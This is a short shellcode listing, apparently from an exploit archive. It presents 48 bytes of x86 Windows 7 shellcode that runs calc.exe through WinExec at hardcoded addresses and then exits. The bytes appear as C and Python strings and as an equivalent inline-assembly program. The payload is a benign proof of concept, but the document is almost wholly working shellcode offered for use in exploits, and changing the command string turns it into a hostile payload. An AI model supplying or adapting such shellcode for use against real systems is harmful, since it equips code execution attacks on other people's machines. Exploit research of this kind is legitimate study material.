[Windows] WinExec("calc", 0x3), ExitProcess(1) - 48byte

Windows 7 - x86

#include "stdafx.h" /* char shellcode[] = "\x55" // push ebp "\x8b\xec" // mov ebp, esp "\x33\xff" // xor edi, edi "\x57" // push edi "\x57" // push edi "\xc6\x45\xf8\x63" // mov byte ptr[ebp-08h], 'c' "\xc6\x45\xf9\x61" // mov byte ptr[ebp-07h], 'a' "\xc6\x45\xfa\x6c" // mov byte ptr[ebp-06h], 'l' "\xc6\x45\xfb\x63" // mov byte ptr[ebp-05h], 'c' "\x57" // push edi "\xc6\x45\xf4\x03" // mov byte ptr[ebp-0ch], 03h "\x8d\x45\xf8" // lea eax, [ebp-08h] "\x50" // push eax "\xb8\xb2\xed\xcd\x76" // mov eax, 0x76cdedb2 // WinExec "\xff\xd0" // call eax "\x6a\x01" // push 01 "\xb8\xe2\xbb\xca\x76" // mov eax, 0x76cabbe2 // ExitProcess "\xff\xd0"; // call eax shellcode = ("\x55\x8b\xec" "\x33\xff" "\x57" "\x57" "\xc6\x45\xf8\x63" "\xc6\x45\xf9\x61" "\xc6\x45\xfa\x6c" "\xc6\x45\xfb\x63" "\x57" "\xc6\x45\xf4\x03" "\x8d\x45\xf8" "\x50" "\xb8\xb2\xed\xcd\x76" # WinExec "\xff\xd0" "\x6a\x01" "\xb8\xe2\xbb\xca\x76" # ExitProcess "\xff\xd0") */ int _tmain(int argc, _TCHAR* argv[]) { __asm{ push ebp mov ebp, esp xor edi, edi push edi push edi mov byte ptr[ebp-08h], 'c' mov byte ptr[ebp-07h], 'a' mov byte ptr[ebp-06h], 'l' mov byte ptr[ebp-05h], 'c' push edi mov byte ptr[ebp-0ch], 03h lea eax, [ebp-08h] push eax mov eax, 0x76cdedb2 // WinExec call eax push 01 mov eax, 0x76cabbe2 // ExitProcess call eax } return 0; }